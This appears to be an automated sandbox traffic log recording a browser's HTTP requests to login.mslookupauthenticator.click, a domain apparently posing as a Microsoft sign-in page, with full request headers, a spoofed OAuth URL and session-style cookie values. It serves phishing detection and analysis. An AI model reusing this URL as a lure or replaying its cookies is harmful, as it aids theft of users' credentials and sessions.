https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.mslookupauthenticator.clicksec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.mslookupauthenticator.click/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6/21e9b8317fa1a3d5bd9930a886e47543e758b850f0b6f5b325717f87114218b0.js HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6.js HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6 HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; fpc=AtfpoojIKkhNq3uGF_ewTks; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFetLdad4X3HKVhILA_WzBxJ060mPmhjYc19X_tq44-Y32ZYN9x071Y9u2ErhdMcIyDhB1oNrVYLm7I-e9OrQ-ivGYoLrBwSjZu7dX-hdUistnHKr7rpSMDiaWv5PxvWPu_t_Jk1pcRyQ77hhj75MQhIda-HI6lk-iUJjqMjOkv1zUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6/21e9b8317fa1a3d5bd9930a886e47543e758b850f0b6f5b325717f87114218b0.js HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAALBC6t4OAAAA
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6.js HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAALBC6t4OAAAA
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6/21e9b8317fa1a3d5bd9930a886e47543e758b850f0b6f5b325717f87114218b0.js HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAALBC6t4OAAAA
Source: global traffic	HTTP traffic detected: GET /s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6.js HTTP/1.1Host: login.mslookupauthenticator.clickConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 99e3-353a=b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-SAvzSKivqjk=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeG898MAj1WhQ3pfryK5n9kBWGNNeAJoMjPjTS8OltjgLT_X7MrZoHo8YmJmLPxvkNdbIQXZo1ypHAhunc3LYfVNIzpbaMYxyotP6jX1rP8Pz8MyY1dGU0JnYFV93U9g0qNzK1rQeNNiRHv03sUJ1xgyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AS0AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAtAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeKZpMCBseYyflzhygemm70BOSUd5XVLhnDE4SwwO3rUn2urnu2GA-7K1wh_QU9oxKvCWm60p6vf9-Pqv9umBxXuyZ95JeLgXYvEVbQHSlm1kgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezQQKPgj9hSBxBOK85_DiGczhPlbbWIE05s_UHGX5EL7oL5EYtDZE2E8qygA_Ab4RvP5ytQczaYUnl0-vxpFt6nW2yE3CQuNHjTy7F2tSYWd_Q3ELJFYz9NGgzmRE6eyAi6FC_EKABVg_VVvoG5dVWiBONwwYw_b7I17w2Rtn3-kgAA; esctx-nAF7Gg4dk4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe5EqV9h0ipILaKR3H13NoPoRcgA9Sr-2vAW8iON8SsJImtKR0f8Dctmy6MWX_7nfrLLpFhBZ7ArYpkQoudRgT5psN3nzzoJ_S1zv1tQxS7hpEt_msWHjoiYDCTGO8_AWdswjmwZI3TzQQlK7-Wy4RxSAA; fpc=AtfpoojIKkhNq3uGF_ewTku8Ae7AAQAAALBC6t4OAAAA
